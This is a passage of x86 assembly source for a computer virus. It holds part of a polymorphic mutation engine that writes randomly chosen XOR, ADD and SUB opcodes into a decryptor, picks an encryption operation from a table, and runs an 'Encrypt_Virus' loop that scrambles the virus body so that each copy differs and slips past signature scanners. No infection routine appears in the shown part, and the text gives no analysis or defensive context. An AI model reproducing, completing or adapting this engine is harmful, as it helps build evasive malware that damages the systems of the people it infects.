  1169.         cmp     byte ptr cipher,0
  1170.         jne     fix_16imm
  1171.         mov     al,byte ptr [si+2]
  1172.         or      al,5
  1173.         stosb
  1174.         jmp     short set_imm
  1175.  
  1176. fix_16imm:
  1177.         mov     al,81h
  1178.         stosb
  1179.         mov     al,byte ptr [si+2]
  1180.         or      al,0c0h
  1181.         or      al,byte ptr cipher
  1182.         stosb
  1183.  
  1184. set_imm:
  1185.         call    get_rand
  1186.         stosw
  1187.  
  1188.         mov     word ptr encval2,ax
  1189.  
  1190.         call    increase_pointer
  1191.  
  1192.         ret
  1193.  
  1194. enc_table       db      31h     ;XOR            ;Direct word operation
  1195.                 db      33h     ;XOR reg,reg    ;Undo..
  1196.                 db      30h
  1197.  
  1198.                 db      01h     ;ADD
  1199.                 db      2bh     ;SUB reg,reg
  1200.                 db      0       ;ADD
  1201.  
  1202.                 db      29h     ;SUB
  1203.                 db      03h     ;ADD reg,reg
  1204.                 db      28h
  1205.  
  1206. Rand3:
  1207. ;Gets a number in ax, either 0,4,8, and indexes SI that distance into
  1208. ;enc_table.
  1209. encrypt_rand:
  1210.         call    get_rand
  1211.         mov     cx,3
  1212.         xor     dx,dx
  1213.         div     cx
  1214.         mov     ax,dx
  1215.         xor     dx,dx
  1216.         mul     cx
  1217.         mov     si,offset enc_table
  1218.         add     si,ax
  1219.         ret
  1220.  
  1221. Encrypt_Virus:
  1222.         mov     si,word ptr saved_si
  1223.         mov     cx,word ptr saved_cx
  1224.         inc     cx
  1225.         shr     cx,1
  1226.         mov     bx,word ptr xorval
  1227. enc_loop:
  1228.         lodsw
  1229.  
  1230.         ;op ax,bx
  1231.         encbyte db      0       ;op
  1232.                 db      0c3h
  1233.  
  1234.                 db      81h
  1235.         encb2   db      0
  1236.         encval2 dw      0
  1237.  
  1238.         stosw
  1239.         loop    enc_loop
  1240.         ret
  1241.  
  1242.